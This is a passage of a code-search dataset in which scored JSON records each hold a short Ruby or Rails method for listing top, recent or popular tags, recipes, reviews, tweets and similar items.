"631bf434f07058362baebbe2f584be2c", "score": "0.5895815", "text": "def popular\n parse_collection @facade.top_tags\n end", "title": "" }, { "docid": "863114c22214f528b6e76987b1d5ea0a", "score": "0.5865307", "text": "def index\n @books = Book.all.order(created_at: :desc).limit(5)\n @tags = Book.tag_counts_on(:tags)\n end", "title": "" }, { "docid": "4c4c7ebbfe3cc449be7128f9365c7508", "score": "0.5862542", "text": "def latest_reviews\n\tuser.reviews.order(\"created_at\").reverse.first(5)\n end", "title": "" }, { "docid": "24d7966d7a930cb32e78b338c86d27b4", "score": "0.5859562", "text": "def recent_reservations\n reservations.sort_by{|r| r.created_at}.reverse.take(10)\n end", "title": "" }, { "docid": "a42c89fb15eef33a6ab0b91e4cc62067", "score": "0.58518124", "text": "def get_recent_tweets hash_tag\n begin\n connect_to_twitter\n @client.search( \"#\"+hash_tag, count: 20, result_type: \"recent\" ).take(20)\n rescue Exception => e\n puts \"\\nThere was an error while retrieving tweets: #{e.message}\"\n end\n end", "title": "" }, { "docid": "e8e683f3d295ccd811f22f4a3f0c7225", "score": "0.58480054", "text": "def get_top_ten_words\n return JSON.parse($redis[@name + \"_search_terms\"]) if $redis[@name + \"_search_terms\"].length > 0\n company_meta_data = MetaInspector.new(@url)\n words = Hash.new(0)\n description = \" \" + company_meta_data.meta['description']\n company_meta_data.links.internal.each do | link |\n page_meta_data = MetaInspector.new(link)\n next if page_meta_data.meta[\"description\"] == nil\n description += \" \" + page_meta_data.meta['description']\n next if page_meta_data.meta['keywords'] == nil\n description += \" \" + page_meta_data.meta['keywords']\n end\n tgr = EngTagger.new\n tagged_text = tgr.add_tags(description)\n ranked_words = tgr.get_words(tagged_text).sort_by { | word, count | count * -1 } \n top_ten_words = ranked_words[0..9].map { | word_count_pair | word_count_pair[0].downcase }\n $redis[@name + \"_search_terms\"] = top_ten_words.to_json\n return top_ten_words\n end", "title": "" }, { "docid": "955b5da18275d818e902334bd028a861", "score": "0.5844222", "text": "def recent_observations(num = 5)\n observations.order(\"created_at DESC\").limit(num)\n end", "title": "" }, { "docid": "99e8822772773907c967dfd9449d9aec", "score": "0.58406657", "text": "def top_three_recipes\n user_recipes = self.recipe_cards.sort_by{ |recipe_card| recipe_card.rating}.last(3)\n #user_recipes = user_recipes[0..2]\n user_recipes.map { |recipe_card| recipe_card.recipe.name}\n end", "title": "" }, { "docid": "b05c716cf33860af3c40e37fa7a7797a", "score": "0.5824005", "text": "def index\r\n @search = GoodsReceiveNote.search(params[:search])\r\n @goods_receive_notes = @search.all(:joins => [:purchase_order], :order => \"grn_date DESC, grn_number\").uniq.paginate(:page => params[:page], :per_page => 50)\r\n end", "title": "" }, { "docid": "ac5b2f8add5364aca1550b889ff09dd8", "score": "0.58135027", "text": "def my_top_five_candidates\n\t\treturn self.offre_for_candidates.where(accepted_postule:true)\n\tend", "title": "" }, { "docid": "dce10482ce76e4a51296c11d5eba00dd", "score": "0.5804965", "text": "def newer_reviews_top(num)\n (reviews.sort { |a, b| b.updated_at <=> a.updated_at })[0, num]\n end", "title": "" }, { "docid": "8a4a0f887c8e225680b67fe25d16d01b", "score": "0.579122", "text": "def top_tags(limit = nil)\r\n self.tags.scoped( :select => 'tags.name, count(tags.name) taggings_count',\r\n :group => 'tags.name', :order => 'count(tags.name) DESC, tags.name', :limit => limit )\r\n end", "title": "" }, { "docid": "1b1a75ad2b2bf9f677482d7b1b7a1955", "score": "0.57887876", "text": "def top_rated\n @top_rated_products = Product.find_top_rated_for_listing()\n end", "title": "" }, { "docid": "ccf4ff2f5e618b39e9683c5958cc60b9", "score": "0.5780552", "text": "def get_top_tags(count)\n # Build List of tags [ \"tag\" => count ]\n all_tags = {}\n self.photos.each do |photo|\n photo.tags.each do |tag|\n if all_tags.has_key?(tag)\n all_tags[tag] += 1\n else\n all_tags[tag] = 1\n end\n end\n end\n # Sort & Filter tags\n sorted_tags = all_tags.sort_by {|_key, value| value}.reverse.first(count).to_h\n # Build Hashed Tags List\n hashed_tags = []\n sorted_tags.each do |tag_str, count|\n hashed_tags += [ \"tag\" => tag_str, \"hash\" => tag_str.hash, \"count\" => count ]\n end\n\n return hashed_tags\n end", "title": "" }, { "docid": "8eefed2629daa63daf78aa4367177260", "score": "0.57755965", "text": "def show_most_popular\n @cards = Card.order(\"impressions_count DESC\")[0..19]\n end", "title": "" }, { "docid": "f680137cbb969295c94bd038934b1ac6", "score": "0.5761431", "text": "def top_three_recipes\n y = user_recipe_cards_helper_method.sort_by do |recipe|\n recipe.rating\n end.last(3)\n y.map do |card|\n card.recipe\n end\n y\n end", "title": "" }, { "docid": "f982851b30d55063516becd907ebedd5", "score": "0.57588536", "text": "def get_top_tags( params )\n LastFM.get( \"user.getTopTags\", params )\n end", "title": "" }, { "docid": "c1c3d2af14bd1849506ba4617724564d", "score": "0.57576144", "text": "def badges_most_received\n user.badge_counts(order: :desc, limit: 3)\n end", "title": "" }, { "docid": "cda08e13f3636c29f89271b8f929178f", "score": "0.57573736", "text": "def top_readers size = nil\n return [] if !size.nil? && size < 1\n rating = Hash.new { |h, k| h[k] = 0 }\n orders.each { |o| rating[o.reader] += 1 }\n rating.to_a.sort{ |x, y| x[1] <=> y[1] }.reverse[0..(size || 0) - 1]\n end", "title": "" }, { "docid": "98e37c67d217988b9c468e9cbaff83f9", "score": "0.5752325", "text": "def search(keyword)\n begin\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{keyword}&maxResults=5&key=#{$apikey}\"\n response = HTTParty.get(url)\n result = response.parsed_response\n File.write(\"searchresults.json\", result.to_json)\n \n top_results = []\n result[\"items\"].each do |item|\n top_results.push({\n title: item[\"volumeInfo\"][\"title\"], \n author: item[\"volumeInfo\"][\"authors\"], \n })\n end\n \n puts \"Here's your top 5 search results starting from highest rated to lowest:\"\n top_results.each do |book| \n if book[:author] == nil # nil class will throw error for one of these values\n puts (\"#{top_results.index(book) + 1}. #{book[:title]} by an unknown author.\")\n else\n puts (\"#{top_results.index(book) + 1}. #{book[:title]} by #{book[:author][0]}.\")\n end\n end\n rescue NoMethodError # in case it's not the author missing\n puts \"Some of your search results have incomplete data.\"\n end\n return top_results\nend", "title": "" }, { "docid": "78c10a98104533855b5369556f435642", "score": "0.57522917", "text": "def latest_tags\n current_hashtags.hashtag_counts.order(\"count DESC\").limit(8)\n end", "title": "" }, { "docid": "fb1cd3ce32d3887e8f427bbbcafe3d91", "score": "0.5743189", "text": "def recent_reviews\n reviews.order('created_at desc').limit(2)\n end", "title": "" }, { "docid": "369f39aac80e96b4cc8f3c1bea2b5f95", "score": "0.5738259", "text": "def index\n\n @books = Book.all\n @top_readers = User.all.sort_by(&:points).reverse.take(3)\n @top_recommended_books = Book.top(8)\n @reading_lists = ReadingList.all\n if params[:search]\n @booksearch = Book.search(params[:search]).order(\"created_at DESC\")\n else\n nil\n end\n end", "title": "" }, { "docid": "de33595c5bbdc54e2d58bcec329eeab7", "score": "0.57299006", "text": "def popular(options={})\n find(:all, find_options_for_popular({:limit => 5}.merge_finder_options(options)))\n end", "title": "" }, { "docid": "8d70666075e69881bef4771e12df2c30", "score": "0.5720282", "text": "def top_tags(most_used_tags)\n Hash[*most_used_tags.sort_by { |k,v| -v }[0..5].flatten]\n end", "title": "" }, { "docid": "6123897eee988def16574f354d1909b4", "score": "0.5713135", "text": "def recent_expenses\n expenses.where('expended_at BETWEEN ? AND ?', Date.current.beginning_of_month, Date.current.end_of_month).order(expended_at: :desc).limit(5) \n end", "title": "" }, { "docid": "b47fe54d5a27460b8ce011490a3cdc2b", "score": "0.57081443", "text": "def recent_products\n self.products.limit(5).order('created_at DESC')\n end", "title": "" }, { "docid": "b45c446e301b37851c989daa95ec1044", "score": "0.5701782", "text": "def top_10\n @all_votes = Vote.find(:all, :limit => 10, :order=> 'works_count desc')\n end", "title": "" }, { "docid": "d511815f5ef2c17700ef0956abd0832a", "score": "0.56915414", "text": "def recently_viewed\n\t@viewed = Array.new()\n if session[:recentlyViewed]\n ordered = Array.new(session[:recentlyViewed]) \n ordered = ordered.reverse\n len = ordered.size - 1\n if len > 5\n len = 5\n end\n # only show 6 recipes and we want them ordered most recent first\n for i in (0..len)\n @viewed << Recipe.find( ordered[i] )\n end\n end\n end", "title": "" }, { "docid": "7f382abe552dba38e2bff6d855375095", "score": "0.5682978", "text": "def top10\n sixty_second_snapshot.each_with_object(Hash.new(0)) {|(_ts, tag), freq_hash|\n freq_hash[tag] += 1 #create hash of tag => count of times used\n }.sort_by {|(tag, freq)|\n [-freq, tag] #sort by count descending and tag alpha\n }.take(10)\n end", "title": "" }, { "docid": "d0b2774a43f0ac4d72f3bcdab9990b3d", "score": "0.5679473", "text": "def get_popular(tag='')\n begin\n extract_entries popular_xml_http(tag)\n rescue SocketError\n extract_entries popular_xml_file(tag)\n end\n end", "title": "" }, { "docid": "5a7a146aeb6a9b1750c6443dfd0a031b", "score": "0.56774646", "text": "def favorite_recent\n @client.search(\"#{@hashtag}\", result_type:\"recent\").take(25).each{|tweet| client.favorite(tweet)}\nend", "title": "" }, { "docid": "3cd1fe6714e2cb7bc0e0ce52dde63c22", "score": "0.56730646", "text": "def fetch_five(username)\n @client.per_page(5).from(username).map do |tweet|\n tweet[:text]\n end\n end", "title": "" }, { "docid": "188381412b0253f464b9c66a6c0cae58", "score": "0.56729525", "text": "def top_three_recipes\n # need a user with more than three recipes\n # need to get the ratings of those recipes\n # want to get [pancake, muffin, choco_cake] for will\n my_recipe_cards = RecipeCard.all.select { |rc| rc.user == self }\n sorted = my_recipe_cards.sort_by { |rc| rc.rating }\n sorted = sorted.reverse\n top_three = sorted.first(3)\n top_three.map { |rc| rc.recipe }\nend", "title": "" }, { "docid": "f8f1c4fc1771942c4a00b10bf9c20e75", "score": "0.5672615", "text": "def top_recognitions\n Recognition\n .for_company(company) # badge query\n .where(created_at: from..to)\n .reorder([approvals_count: :desc, updated_at: :desc, id: :desc]) # :updated_at & :id are default sort atts\n end", "title": "" }, { "docid": "6c72c29db203216237a5da87b9f58ea0", "score": "0.5672475", "text": "def top_three_recipes\n a = recipecards.sort_by do |card|\n card.rating\n end\n a.collect do |card|\n card.recipe\n end.reverse[0..2]\n end", "title": "" }, { "docid": "6377dd980c9fec6d90df11bfa4ae98cd", "score": "0.5670294", "text": "def top_books size = nil\n return [] if !size.nil? && size < 1\n rating = Hash.new { |h, k| h[k] = 0 }\n orders.each { |o| rating[o.book] += 1 }\n rating.to_a.sort { |x, y| x[1] <=> y[1] }.reverse[0..(size || 0) - 1]\n end", "title": "" }, { "docid": "50d56916e5f8045813da1066d6dde20b", "score": "0.56612206", "text": "def recommended_feed_items\n FeedItem.with_tags(tag_list).with_areas(areas).ordered.limit(5).unseen_by(self)\n end", "title": "" }, { "docid": "38e32beca36ab4d12479fee25e8049ed", "score": "0.56584173", "text": "def pullItems\n (1..80).each do |num|\n begin\n feed = Nokogiri::XML(open('https://edwardsnowden.com/feed?paged='+num.to_s))\n feed.xpath('//item').each do |i| \n item_parsed = parseItem(i)\n if item_parsed[:categories].include? \"Revealed documents\"\n @results.push(parseItem(i))\n end\n end\n rescue\n end\n end\n \n JSON.pretty_generate(@results)\n end", "title": "" }, { "docid": "22d988934423e1f3bc685ae3f548a1a4", "score": "0.5658197", "text": "def index\n @recipes =\n if params[:search]\n Recipe.includes(:user).by_published.newest_to_oldest.\n filtered_by(params[:search]).page(params[:page]).per(30)\n else\n Recipe.includes(:user).by_published.newest_to_oldest.\n page(params[:page]).per(30)\n end\n end", "title": "" }, { "docid": "1535f3d335332ffe33bd7fba09e1b9e9", "score": "0.56508833", "text": "def top_three_recipes\n top = self.recipe_cards.sort_by{|card| card.rating}.reverse[0..2]\n top.collect{|card| card.recipe}\n end", "title": "" }, { "docid": "fd17613ca4b8990b65791c1ad7c98193", "score": "0.5647399", "text": "def trending_tags \n @trending_tags = ActsAsTaggableOn::Tagging.where(created_at: 5.days.ago..DateTime.now).group('tag_id').order('count_tag_id desc').count('tag_id').take(5)\n end", "title": "" }, { "docid": "64672fd3c7dbf8a65a76e50e166e637e", "score": "0.5639107", "text": "def recent(options={})\n find(:all, find_options_for_recent({:limit => 5}.merge_finder_options(options)))\n end", "title": "" }, { "docid": "7ae18a67a06df9a839b7212fd5af9d57", "score": "0.5629854", "text": "def more_like_this(notebook, topn)\n Sunspot\n .more_like_this(notebook) {paginate page: 1, per_page: topn}\n .results\n .group_by(&:creator_id)\n .map {|user_id, notebooks| [user_id, notebooks.count]}\n .to_h\n end", "title": "" }, { "docid": "44e1386cd9a186b8d99f87c09f38dfba", "score": "0.56289124", "text": "def top_books(limit=nil)\n\t\t\tFeedBooks::Book.send('generic_iterate',\"/type/#{@name}/books/top.xml\",limit)\n\t\tend", "title": "" }, { "docid": "db02ab0b2ccc68bfcf73590e492df3de", "score": "0.5626169", "text": "def get_top_tags( params )\n xml = LastFM.get( \"artist.getTopTags\", params )\n xml.find('toptags/tag').map do |tag|\n LastFM::Tag.from_xml( tag )\n end\n end", "title": "" }, { "docid": "ab721e84d9e03577952f3a77415482a9", "score": "0.5613646", "text": "def popular_hashtag\n Tag.find_by_sql('SELECT tags.*\n FROM tags\n inner join tags_tweets tt on tags.id = tt.tag_id\n group by tags.id\n ORDER BY count(*) desc\n LIMIT 5;')\n\n end", "title": "" }, { "docid": "bb8a3a35ef047cfab3917e82b9fb764b", "score": "0.55947477", "text": "def last_five_news\n CrNews.find_by_sql(\"select r.item_id, r.title, r.publish_date\n from cr_news n, cr_revisions r, cr_items i\n where n.news_id = r.revision_id\n and i.item_id = r.item_id\n and i.live_revision = r.revision_id\n and r.publish_date < current_timestamp \n and (n.archive_date is null or n.archive_date > current_timestamp)\n order by r.publish_date desc, r.item_id desc\n limit 5\")\n end", "title": "" }, { "docid": "733974bbc3d3436ad85d48cd306c0870", "score": "0.5589907", "text": "def top_three_recipes\n RecipeCard.all.select do |card|\n card.user == self\n end\n .sort_by(&:rating).reverse[0,3]\n end", "title": "" }, { "docid": "646efc74ace896e015094e6cc2a92809", "score": "0.5589439", "text": "def find_recent_news_items\n @news_items = @news_archive.news_items.accessible.page(params[:page]).per(@max_news_items).to_a\n @latest_news_items = []\n\n if params[:page].blank? || params[:page].to_i == 1\n @latest_news_items = @news_items[0..@featured_news_items-1] if @featured_news_items > 0\n @news_items_for_table = @news_items[@featured_news_items..@max_news_items-1] if @featured_news_items < @max_news_items\n end\n end", "title": "" }, { "docid": "ed6e3f38db530ee3557dd7569dc86161", "score": "0.5588945", "text": "def top_three_recipes\n recipe_cards.sort_by do |card|\n card.rating\n end.last(3).map {|card| card.recipe}.reverse\n end", "title": "" }, { "docid": "44a0b1709123a013ec1cfdea7fd8cdf1", "score": "0.5582759", "text": "def top_three_recipes\n my_rcs = RecipeCard.all.select {|rc| rc.user ==self}\n top_3_rcs = my_rcs.max_by(3) {|rc| rc.rating }\n top_3_recipes = top_3_rcs.map {|rc| rc.recipe }\n end", "title": "" }, { "docid": "57a06b56ba688dbecb82656e7c26ed9b", "score": "0.55776507", "text": "def top_terms\n db = Sequel.sqlite('./db/development.db')\n puts \"----------------TOP 20 TERMS-----------------\"\n db.fetch(\"SELECT * FROM key_terms GROUP BY id HAVING id <= 20\") do |row|\n puts row\n end\n end", "title": "" }, { "docid": "608408fef8faaf298e2eb26523fa134c", "score": "0.55656123", "text": "def latestTweets(client, numberOfLatestTweets, termToSearch, arrayCompare)\n\tclient.search(termToSearch).take(numberOfLatestTweets).each do |tweet| #search for #{searchTerms} quantity times, and do 'tweet'\n\t\tprint \"ID: \" + tweet.to_s + \"\\n\" #show us all the tweets\n\t\tputs tweet.user.screen_name #show us their username\n\t\tputs tweet.text #show us their text\n\t\tputs tweet.uri #show us their link\n\t\tarrayCompare << tweet.text #add them all to the compare array so we don't post 'quantity' amount of tweets for no reason\n\tend\nend", "title": "" }, { "docid": "2ba2cab830107d828eaf6ac774d499c2", "score": "0.55638695", "text": "def top_three_recipes\n sorted_recipe_cards = self.recipe_cards.sort_by do |recipe_card|\n recipe_card.rating\n end\n top_three_recipe_cards = sorted_recipe_cards.last(3)\n top_three_recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "title": "" }, { "docid": "9898bca81dd869fa311f06f54baef9f4", "score": "0.55585223", "text": "def most_popular_tags(options = {})\n all_tags = []\n if options[:categories].blank?\n all_tags = self.tags + self.bookmark_tags\n else\n type_tags = []\n options[:categories].each do |type_name|\n type_tags << type_name.constantize.all\n end\n all_tags = [self.tags + self.bookmark_tags].flatten & type_tags.flatten\n end\n tags_with_count = {}\n all_tags.uniq.each do |tag|\n tags_with_count[tag] = all_tags.find_all{|t| t == tag}.size\n end\n all_tags = tags_with_count.to_a.sort {|x,y| y.last <=> x.last }\n popular_tags = options[:limit].blank? ? all_tags.collect {|pair| pair.first} : all_tags.collect {|pair| pair.first}[0..(options[:limit]-1)]\n end", "title": "" }, { "docid": "98789ea707afb68e02b450dbac1ba469", "score": "0.555831", "text": "def recent_entries(user, count = 5)\n self.feed_entries.order('published_at desc').first(count).map { |entry|\n entry.for_index(user)\n }\n end", "title": "" }, { "docid": "6b21af29e2f075c2db2d3958dff78851", "score": "0.5551155", "text": "def get_tweets(search)\n\n if search.terms[0]\n @tweets = @twitter.search(search.terms[0].text, :result_type => \"recent\").take(100) \n 5.times do\n last_id = @tweets.last.id - 1\n @tweets = @tweets + @twitter.search(search.terms[0].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets = nil\n end\n\n if search.terms[1]\n @tweets2 = @twitter.search(search.terms[1].text, result_type: \"recent\").take(100) \n 5.times do\n last_id = @tweets2.last.id - 1\n @tweets2 = @tweets2 + @twitter.search(search.terms[1].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets2 = nil\n end\n\n if search.terms[2]\n @tweets3 = @twitter.search(search.terms[2].text, result_type: \"recent\").take(100) \n 5.times do\n last_id = @tweets3.last.id - 1\n @tweets3 = @tweets3 + @twitter.search(search.terms[2].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets3 = nil\n end\n\n\n end", "title": "" }, { "docid": "8746f467b01d19984f8253053aeb0fee", "score": "0.5548556", "text": "def top_three_recipes\n recipe_cards.sort_by do |recipe_card| \n recipe_card.rating\n end.reverse.first(3).map {|recipe_card| recipe_card.recipe}\n end", "title": "" }, { "docid": "347e7fed7a46bf37b5906bb300c9ea61", "score": "0.55480397", "text": "def top_restaurant\n Tag.restaurants_for_tag(self).group(:restaurant_id).order(\"COUNT(restaurant_id) DESC\").take\n end", "title": "" }, { "docid": "515a15b872b2448ef3e3e3c5a47225a3", "score": "0.5545813", "text": "def get_most_populars\n\t\t\t\t@videos = Video.order(\"reproduction_count desc\").limit(5)\n\t\t\tend", "title": "" }, { "docid": "b579c60170f7fac169c00cd30ffd9986", "score": "0.5544318", "text": "def top_terms(opts = {})\n opts = {fields: ['title', 'description'], count: 5}.merge(opts)\n term = Term.new\n\n listings.each do |listing|\n opts[:fields].each do |field|\n term.add_sentence(listing.send(field))\n end\n end\n\n term.top(opts[:count])\n end", "title": "" }, { "docid": "a0a36960ce9692fe4f2f4106c07b1a55", "score": "0.55415845", "text": "def most_popular_tags(options = {})\n if all_tags = Tag.by_pseud(self).by_type(options[:categories]).canonical\n tags_with_count = {}\n all_tags.uniq.each do |tag|\n tags_with_count[tag] = all_tags.find_all{|t| t == tag}.size\n end\n all_tags = tags_with_count.to_a.sort {|x,y| y.last <=> x.last }\n options[:limit].blank? ? all_tags : all_tags[0..(options[:limit]-1)]\n end\n end", "title": "" }, { "docid": "aa1870257b62b339249a932e69374c1c", "score": "0.5537715", "text": "def top_books(limit=nil)\n\t\t\tFeedBooks::Book.send('generic_iterate',\"/author/#{@id}/books/top.xml\",limit)\n\t\tend", "title": "" }, { "docid": "a793107d059828cc82ec76599a61ab48", "score": "0.553379", "text": "def top_three_recipes\n total = {}\n\n # associate each recipe with how many \n RecipeCard.all.each do |card|\n if card.user == self\n total[card.recipe] = card.rating\n end\n end\n\n # sort the the (recipe,rating) key value pairs by their rating\n sorted = total.sort_by do |key, value|\n value\n end \n\n # take the last three (high ratings appear at the end of the list)\n # map them to pick off the recipe from the RecipeCard\n sorted.last(3).reverse.map do |counts|\n counts[0]\n end\n end", "title": "" }, { "docid": "314914ea3c9925e118e19a80896dc009", "score": "0.5532336", "text": "def latest_20\n key = \"latest_20_#{to_s.pluralize.downcase}\"\n Rails.cache.fetch(key, expires_in: 2.hours) do\n where(id: latest.revrange(0, 20))\n .order_as_specified(id:\n latest.revrange(0, 20)).map(&:card_json)\n end\n end", "title": "" }, { "docid": "ea831880d93691b7dca7c1db2d875772", "score": "0.553158", "text": "def find_recent_news_items\n @news_items = @news_archive.news_items.accessible.includes(:node).page(1).per(25)\n @news_items_for_table = @news_items.to_a\n @latest_news_items = @news_items_for_table[0..7]\n @news_items_for_table -= @latest_news_items\n end", "title": "" }, { "docid": "5d23c95d98e0df6051f1c831895c08ce", "score": "0.5523449", "text": "def top_notebook_users(notebook, topn)\n notebook\n .clicks\n .includes(user: [:user_summary])\n .where(action: ['ran notebook', 'executed notebook', 'downloaded notebook'])\n .where('updated_at > ?', 180.days.ago)\n .where.not(user_id: notebook.creator_id)\n .select('user_id, count(*) AS c')\n .group(:user_id)\n .order('c DESC')\n .limit(topn * 2)\n .map {|click| [click.user, click.c]}\n end", "title": "" }, { "docid": "915a62c07df4fbdac7f5bdab89c7271e", "score": "0.55160326", "text": "def top_three_recipes \n self.recipes.sort_by{|recipe|recipe.rating}.reverse.first(3)\n end", "title": "" }, { "docid": "9277c1fce0141779c95f43c0df085b0a", "score": "0.55099803", "text": "def most_recent(n)\n es_hits = _client.search(\"*:*\",\n :sort => \"datetime:desc\",\n :size => n)\n\n sr = HistorySearchResult.new\n sr.populate!(es_hits)\n sr\n end", "title": "" }, { "docid": "9277c1fce0141779c95f43c0df085b0a", "score": "0.55099803", "text": "def most_recent(n)\n es_hits = _client.search(\"*:*\",\n :sort => \"datetime:desc\",\n :size => n)\n\n sr = HistorySearchResult.new\n sr.populate!(es_hits)\n sr\n end", "title": "" }, { "docid": "30fcbd70cd141bd4b56bdf835da528a2", "score": "0.5507412", "text": "def most_recent_articles(page)\n page.search(\".//body[@id='cnnSearch']//div//div//div//div//div//div[@id='cnnContentColumn']//div[@id='cnnSearchResults']//div[@id='cnnSearchRefine']\")\n end", "title": "" }, { "docid": "be5010ad377399aa64655369f9b51694", "score": "0.5501275", "text": "def five_most_recent_drinks\n array = []\n sorted_user_drinks = self.user_drinks.sort_by {|userdrink| userdrink.datetime}.reverse\n sorted_user_drinks.each do |userdrink|\n if array.length < 5 \n unless array.find {|recent_drink| recent_drink.drink_id == userdrink.drink_id && recent_drink.amount == userdrink.amount}\n array << userdrink\n end\n end\n end\n array\n end", "title": "" }, { "docid": "c00555d53222377905abb82cf8dace62", "score": "0.55006206", "text": "def latest_observations\n observations.limit(10)\n end", "title": "" }, { "docid": "699b83367bc2b87e3e0d8d7cadd1e21b", "score": "0.54995483", "text": "def index\n @widgets = Widget.where(deleted: false) # Don't actually delete or the database will complain about FK\n .joins(:widget_codes)\n .where('published = ?', true)\n .uniq\n\n @top_10 = @widgets.reject { |w| w.reviews.all.average(:rating).nil? }\n @top_10.sort_by! { |w| w.reviews.all.average(:rating) }.reverse!\n @top_10.slice!(10..@top_10.count)\n end", "title": "" }, { "docid": "120a7d9d4077589c37f66fa3b866397f", "score": "0.5497739", "text": "def top_three_recipes\n sorted_cards = recipe_cards.sort_by {|recipe_card| recipe_card.rating}\n return sorted_cards.reverse[0..2]\n end", "title": "" }, { "docid": "4e6020d9a35b2d1da907c39b35d5cb8f", "score": "0.54946315", "text": "def index\n #@books = Book.all\n #@book = Search::Book.new\n @book = Book.search\n strSql = \"select book_id,count(book_id) as yoyaku_su from tickets\n group by book_id\n order by count(book_id) desc,book_id asc\n limit 5\"\n @popularbooks = Book.find_by_sql([strSql])\n end", "title": "" }, { "docid": "cb17a2faf9ec9fff99096ffaa49bf732", "score": "0.54907304", "text": "def filterRecentUntil keyword, eliminarRt, untilDate, maxNumberOfTweets\n @keyword = keyword \n @eliminarRt = eliminarRt \n @geocode = false\n @recentUntil = true\n arr_users =[] \n \n @untilDate = untilDate\n maxNumberOfTweets = maxNumberOfTweets\n \n rt = \"-RT\".to_s unless @eliminarRt == false\n\n @client.search(\"#{@keyword} \".to_s + rt.to_s, result_type: \"recent\", until: @untilDate).take(maxNumberOfTweets).collect do |tweet| \n puts \" #{tweet.created_at} => #{tweet.user.screen_name} : #{tweet.text} \" \n arr_users.push(tweet.user.screen_name) \n end\n return arr_users\n end", "title": "" }, { "docid": "f6afe48dd29d997e3be71d08bda21ee1", "score": "0.5489766", "text": "def top_three_recipes \n # map RecipeCard.all for recipe's with this user \n user_recipes = RecipeCard.all.map{|recipe_card| recipe_card.user == self}\n # sort that array by highest rating \n user_recipes.sort_by{|recipe_card| recipe_card.rating}.last\n end", "title": "" }, { "docid": "4f7fb44948f82a37b36330605c848a26", "score": "0.5489084", "text": "def top_five\n @restrooms = Restroom.top_5\n end", "title": "" }, { "docid": "0bd822c4b4081f555f4c42073cfa7696", "score": "0.5487376", "text": "def index\n @prices = Price.all(:order => 'created_at DESC', :limit => 5)\n\n end", "title": "" } ]
f6ebea78355a10c22d75e43078a25221
Get the tags associated with this model class This can be chained such as User.documents.tags
[ { "docid": "5193ba0aa6f580a08968be52a86525cf", "score": "0.6482609", "text": "def tags(options = {})\n # Grab the current scope\n self_ids = self.select(:id)\n\n # Grab table name\n table_name = self.to_s\n\n # Make sure that our context will be an array.\n contexts_array = normalize_contexts(options.delete(:on))\n\n q = RocketTag::Tag.joins(:taggings).\n where('taggings.taggable_type': table_name). # Apply taggable type\n where('taggings.taggable_id IN (?)', self_ids). # Apply current scope\n uniq\n\n # Apply context (IN query) only if array has some data otherwise we'll have weird problems.\n q = q.where(\"taggings.context\": contexts_array) if contexts_array.any?\n\n # Return the relation\n q\n end", "title": "" } ]
[ { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.7861059", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.7861059", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.7861059", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "f0a6ac4b76cf1ef9d5ac292b3af931dd", "score": "0.7803499", "text": "def tags\n Tags.new(self)\n end", "title": "" }, { "docid": "d84cb1aee38b0869a77237329bbb688a", "score": "0.76366234", "text": "def tags\n @obj['tags']\n end", "title": "" }, { "docid": "f8a278cecd49865129819aeafb6f7e99", "score": "0.76127", "text": "def tags(include_private=false)\n Tag.find_all_by_user(self, include_private)\n end", "title": "" }, { "docid": "ea0bd0924eeadf4a14f3d0e306728915", "score": "0.7572185", "text": "def getTags\r\n\t\t\t\t\treturn @tags\r\n\t\t\t\tend", "title": "" }, { "docid": "16b6786633f204619f6f26daa6a9c2ae", "score": "0.75609946", "text": "def tags\n Tags.new(@tags)\n end", "title": "" }, { "docid": "d2d4ab0f956594ffc7279d5b49a5381c", "score": "0.7532039", "text": "def tags\n object.tags.each do |tag|\n tag.name\n end\n end", "title": "" }, { "docid": "1af01d5ee01e33e368bfd869deed7fdc", "score": "0.7495875", "text": "def tags(include_private=false)\n Tag.find_all_by_user(self, include_private)\n end", "title": "" }, { "docid": "82dbfd26073f525fb37a869f5bed1f37", "score": "0.7481393", "text": "def user_tags\n return @user_tags\n end", "title": "" }, { "docid": "27a9e748e12ae40d9280bf00c215fb6a", "score": "0.7378693", "text": "def tags\n attributes[:tags] || []\n end", "title": "" }, { "docid": "935136d8c6742e3fa0519995da1f1722", "score": "0.7318989", "text": "def tags\n attributes.fetch(:tags)\n end", "title": "" }, { "docid": "935136d8c6742e3fa0519995da1f1722", "score": "0.7318989", "text": "def tags\n attributes.fetch(:tags)\n end", "title": "" }, { "docid": "884217149ed2726eb1ccc9790ea8e475", "score": "0.7290252", "text": "def tags()\n\t\t\treturn @metadata.attributes[:tags].to_a\n\t\tend", "title": "" }, { "docid": "118540c2eaab1a1475b83fcdb3d30f44", "score": "0.7207922", "text": "def tags\n get.tagGuids\n end", "title": "" }, { "docid": "30cc7ae0cbd4ae0c9b4e670867f382d3", "score": "0.72070247", "text": "def tags\n @tags ||= tag_class.in_challenge(collection).group(:id)\n end", "title": "" }, { "docid": "56163d23bc897cc748b09c7a13ef9671", "score": "0.7190838", "text": "def tags\n self.lib.tags.map { |r| tag(r) }\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.71734196", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.71734196", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.71734196", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.71734196", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.71734196", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "21b419e2059a7e58013f148ba1dc3ef6", "score": "0.7168722", "text": "def tags\n @tags ||= Fotolia::Tags.new(self)\n end", "title": "" }, { "docid": "43dd22fcde67fb67bd03a12e5b2d7732", "score": "0.7167844", "text": "def tags\n @fields.tag_list\n end", "title": "" }, { "docid": "7046feef1e8ca8e81864513effcb8697", "score": "0.71541154", "text": "def tags\n @tags ||= []\n end", "title": "" }, { "docid": "12fb8e0c5129c14a13dc7dc0fe132273", "score": "0.7114292", "text": "def tags\n 